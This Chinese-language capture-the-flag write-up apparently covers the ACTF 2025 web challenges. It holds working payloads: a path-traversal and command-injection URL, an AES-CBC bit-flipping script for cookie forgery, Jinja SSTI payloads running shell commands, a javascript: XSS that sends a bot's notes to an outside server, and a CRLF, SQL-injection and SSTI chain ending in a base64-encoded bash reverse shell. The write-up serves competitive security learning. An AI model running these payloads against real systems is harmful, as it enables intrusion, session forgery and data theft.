ACTF2025 WriteUp

发布于 2025-04-27  300 次阅读


ACTF WriteUp

职业生涯首次AK,感谢web出题人放大水~

image_mak
最终排名第七
image_mak

ACTF Upload

二血

上传任意文件后,发现通过?file=访问上传的文件
尝试任意文件读,file=../../../etc/passwd成功,读出来是base64
尝试读flag没读到,读/app/app.py拿到了源码
image_mak
把admin密码的sha256硬编码在代码中,cmd5查出来密码是backdoor然后处理upload路由的get传参时,对于admin有不同的逻辑
image_mak
有一个很明显的命令拼接
我们利用 || 拼接我们的命令,把执行结果写进文件里,然后再利用普通用户的任意文件读取读我们命令执行的结果
我们传file为

a || cat /Fl4g_is_H3r3 > test.txt;
http://223.112.5.141:61759/upload?file_path=a%20||%20cat%20/Fl4g_is_H3r3%20%3E%20test.txt;

然后访问我们写入的test.txt即可

http://223.112.5.141:61759/upload?file_path=../../../app/test.txt

not so web

密码学题,可以使用AES字节翻转绕过验证
先注册admiy,本地看一下cookie明文的格式为

{"name": "admiy", "password_raw": "1", "register_time": 1745644424}

然后去网上找了个AES翻转的脚本,那个要求明文长度必须为16的倍数,由于不懂密码学,那就直接控制密码长度来控制整段明文长度

{"name": "admiy", "password_raw": "1aaaaaaaaaaaaa", "register_time": 1745644424}

空格也算长度,所以密码设为1aaaaaaaaaaaaa控制整个明文长度为16的倍数
然后去改一下偷来的脚本,加上padding的逻辑,把测试逻辑改为未知key的情况,加上手动从密文提取iv和cipher,以及手动合成iv,cipher为最终cookie的功能最终脚本如下:

# coding:utf-8
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64

def extract_iv_from_cookie(encoded_cookie: str) -> bytes:
    # 解码base64数据
    encrypted_data = base64.b64decode(encoded_cookie)
    # 提取IV(前16字节)
    iv = encrypted_data[:16]
    cipher = encrypted_data[16:]
    return iv,base64.b64encode(cipher)

def encrypt(iv, plaintext):
    if len(plaintext) % 16 != 0:
        print("plaintext length is invalid")
        return
    if len(iv) != 16:
        print("IV length is invalid")
        return
    key = b"AAAAAAAAAAAAAAAA"
    aes_encrypt = AES.new(key, AES.MODE_CBC, IV=iv)
    padded = pad(plaintext,16)
    result = base64.b64encode(aes_encrypt.encrypt(padded))
    return result

def decrypt(iv, cipher):
    if len(iv) != 16:
        print("IV length is invalid")
        print(len(iv))
        return
    key = b"AAAAAAAAAAAAAAAB"
    print(iv)
    print(base64.b64decode(cipher))
    aes_decrypt = AES.new(key, AES.MODE_CBC, IV=iv)
    result = (aes_decrypt.decrypt(base64.b64decode(cipher)))
    return result

def test1():
    # print("Change the first block plaintext:\n")

    # cookie = "yEDIhGSuYMNPzQZEIW7qADzTKhYR4Oji/d8yJ6vtLYD4o6P7qM5RILosm0VzcAPEyPa2hLZ1/IgkIl2UfA31rbmSMPoV5dwzGEIH013O/xFzPVYP0QCH4+v0SBilxqFQmZm+W2d3AeNyWPhnEFL8vA=="
    # iv = extract_iv_from_cookie(cookie)

    # plaintext = b'{"name": "admiy", "password_raw": "1aaaaaaaaaaaaa", "register_time": 1745640379}'
    # cipher = encrypt(iv, plaintext)

    # print("NO ATTACK:", end='')
    # print(cipher)
    iv = extract_iv_from_cookie("KMZpM9DxQnSyi3mz0eQM62lx+To97MXsp7QSwd0c45PZC9UkoEi8LGbcpWhqHvON73zQFwNBDK7qq+qPi9y2EDHQydReAtMRbJVqdFWYeJVOCAdfdAv1qLviXOmhqiUZ4x7nWlnqmySrVUvwWLa5gw==")[0]
    cipher = extract_iv_from_cookie("KMZpM9DxQnSyi3mz0eQM62lx+To97MXsp7QSwd0c45PZC9UkoEi8LGbcpWhqHvON73zQFwNBDK7qq+qPi9y2EDHQydReAtMRbJVqdFWYeJVOCAdfdAv1qLviXOmhqiUZ4x7nWlnqmySrVUvwWLa5gw==")[1]

    # 需要修改 plaintext 中 i -> n (改变第14个位置)
    local = 14
    before = 'y'
    target = 'n'

    iv = list(iv)
    iv[local] = iv[local] ^ ord(before) ^ ord(target)
    new_iv = bytes(iv)

    decipher = decrypt(new_iv, cipher)

    print("ATTACK SUCCESS: Ciphertext doesn't need to be changed")
    print("NOW PLAINTEXT:", end='')
    print(decipher)

    print("NEW IV (base64 encode):", end='')
    print(base64.b64encode(new_iv).decode())

    full_cipher = new_iv + base64.b64decode(cipher)
    print("NEW FULL CIPHERTEXT (IV + cipher, base64 encode):", end='')
    print(base64.b64encode(full_cipher).decode())

def attack( cipher, local, before, target):

    cipher = base64.b64decode(cipher)
    cipher = list(cipher)
    cipher[local - 16] = cipher[local - 16] ^ ord(before) ^ ord(target)
    cipher = base64.b64encode(bytes(cipher))
    print("ATTACK SUCCESS:",end='')
    print(cipher)
    return cipher

def re(iv, decipher, cleartext):
    decipher = list(decipher)
    cleartext = bytearray(cleartext)
    bin_iv=bytearray(iv)
    for i in range(0,len(iv)):
        bin_iv[i]= (decipher[i] ^ bin_iv[i] ^ cleartext[i])
    print("NEW IV(base64 encode):",end='')
    print(base64.b64encode(bin_iv))
    return bin_iv

test1()
#test1为改变第一组的函数
# test2()
#test2为改变不是第一组的函数

(因为我们要把admiy的y改成n,而这个字母在整个明文中的位置是15,属于第一组)
image_mak
这个FULLCIPHERTEXT就是我们的cookie
admin登陆后,就是一个无限制的SSTI
image_mak

not so web 2

还是密码学题,不过没有具体研究他的RSA加密过程,他的用户身份是直接从明文json中提取的,尝试修改base64的用户名为admin,就成功了。。。
后续是一个ssti绕过,本地起一个

import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from Crypto.PublicKey import RSA
from Crypto.Signature import PKCS1_v1_5
from Crypto.Hash import SHA256
from flask import (
    Flask,
    render_template_string,
    request,
    redirect,
    url_for,
    abort,
)

app = Flask(__name__)

@app.route("/home")
def home():
    payload = request.args.get("payload")
    if payload:
        print(payload)
        for char in payload:
            if char in "'_#&;":
                abort(403)
                return

    html_template = """
    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Home</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
    </head>
    <body>
    <div class="container">
    <h2 class="text-center">Welcome, %s !</h2>
    <div class="text-center">
        Your payload: %s
    </div>
    <img src="{{ url_for('static', filename='interesting.jpeg') }}" alt="Embedded Image">
    <div class="text-center">
        <a href="/logout" class="btn btn-danger">Logout</a>
    </div>
    </div>
    </body>
    </html>
    """ % (
        "admin",
        payload,
    )
    return render_template_string(html_template)

if __name__ == "__main__":
    app.run(port=5050)

Fenjing一把梭直接打出payload即可

{%set fz=lipsum|escape|batch(22)|first|last%}{%set gl=fz*2+"globals"+fz*2%}{%set bu=fz*2+"builtins"+fz*2%}{%set im=fz*2+"import"+fz*2%}{{cycler.next[gl][bu][im]("os").popen("cat flag.txt").read()}}

eznote

感觉应该是个非预期,因为解法和大部分源代码如pandoc,dompurity等逻辑没关系。
赛后听别的队的师傅说有LateX注入可以任意文件读,感觉这个才是预期解

写 Note 的逻辑都是让bot来做的,我们不用动

report下URL直接写javascript:伪协议来让bot在执行完写flag后,在当前页面执行js即可xss
session有http only,可以直接让bot访问/notes然后把结果带到vps

javascript:fetch('http://localhost:3000/notes').then(r=>r.text()).then(t=>location.href='http://mak4r1.com:3333?c='+encodeURIComponent(t))

image_mak
然后我们就拿到了bot的note的id,访问/note/xxxxx就是flag
image_mak
这是因为题目访问/notes列出noteid有鉴权,但是/note/xxx访问单个note没有

ExcellentSite

题目是一个邮件收发+bot访问的服务,然后还有个/news给我们sql注入
不过直接发邮件的话,发件人是ignored@ezmail.org
image_mak
但是bot在检索第一封邮件的时候只会在发件人为admin@ezmail.org中找
image_mak
这样我们就算发送有效的payload也不会被bot访问
不过在构造邮件的地方
image_mak
这里直接把我们的subject连接字符串到邮件内容,我们可以构造\r\n来构造CRLF注入,伪造邮件头嵌套一个来自admin@ezmail.org的邮件
只要在payload中加入%0d%0aFrom: admin@ezmail.org%0d%0aTo: admin@ezmail.org即可
然后访问的时候又限制了只能访问自身(ezmail.org解析到0.0.0.0),导致不能让他访问我们的VPS拿payload
先确定最终的攻击手法应该是这里的SSTI
image_mak
然后page_content的内容只能从他本地拿
那就想到 /news 的sql注入,可以利用union联合注入来让http://ezmail.org:3000/news回显任意的东西,即我们ssti的payload
就像这样

http://ezmail.org:3000/news?id=9 union select "{{7*7}}"

由于没有回显,所以攻击必须一步到位
那就直接用上一道题Fenjing给的payload,写个反弹shell

{%set fz=lipsum|escape|batch(22)|first|last%}{%set gl=fz*2+"globals"+fz*2%}{%set bu=fz*2+"builtins"+fz*2%}{%set im=fz*2+"import"+fz*2%}{{cycler.next[gl][bu][im]("os").popen("echo YmFzaCAtYyAnYmFzaCAtaT4vZGV2L3RjcC8xMjEuMTk5LjM5LjQvMzMzMyAwPiYxIDI+JjEn | base64 -d | sh").read()}}

数据传输的字符问题,可以用sqlite的unhex来解决,即用hex来传我们的paylaod

import urllib.parse
from urllib.parse import urlparse
import requests
# 原始字符串

url = "http://ezmail.org@121.199.39.4:3333/payload?a=1\r\nFrom: admin@ezmail.org"

payload = '''{%set fz=lipsum|escape|batch(22)|first|last%}{%set gl=fz*2+"globals"+fz*2%}{%set bu=fz*2+"builtins"+fz*2%}{%set im=fz*2+"import"+fz*2%}{{cycler.next[gl][bu][im]("os").popen("echo YmFzaCAtYyAnYmFzaCAtaT4vZGV2L3RjcC8xMjEuMTk5LjM5LjQvMzMzMyAwPiYxIDI+JjEn | base64 -d | sh").read()}}'''

print(payload.encode().hex())

获得hex,构造url为

http://ezmail.org:3000/news?id=6%20union%20select%20unhex(%227b2573657420667a3d6c697073756d7c6573636170657c6261746368283232297c66697273747c6c617374257d7b2573657420676c3d667a2a322b22676c6f62616c73222b667a2a32257d7b257365742062753d667a2a322b226275696c74696e73222b667a2a32257d7b2573657420696d3d667a2a322b22696d706f7274222b667a2a32257d7b7b6379636c65722e6e6578745b676c5d5b62755d5b696d5d28226f7322292e706f70656e28226563686f20596d467a614341745979416e596d467a61434174615434765a4756324c33526a634338784d6a45754d546b354c6a4d354c6a51764d7a4d7a4d794177506959784944492b4a6a456e207c20626173653634202d64207c20736822292e7265616428297d7d%22)

burp里面加上CRLF注入,利%0d%0a换行,伪造邮件头嵌入新的FROM,TO,SUBJECT即可
image_mak
访问/bot,收到反弹shell
image_mak

A web ctfer from 0RAYS
最后更新于 2025-04-27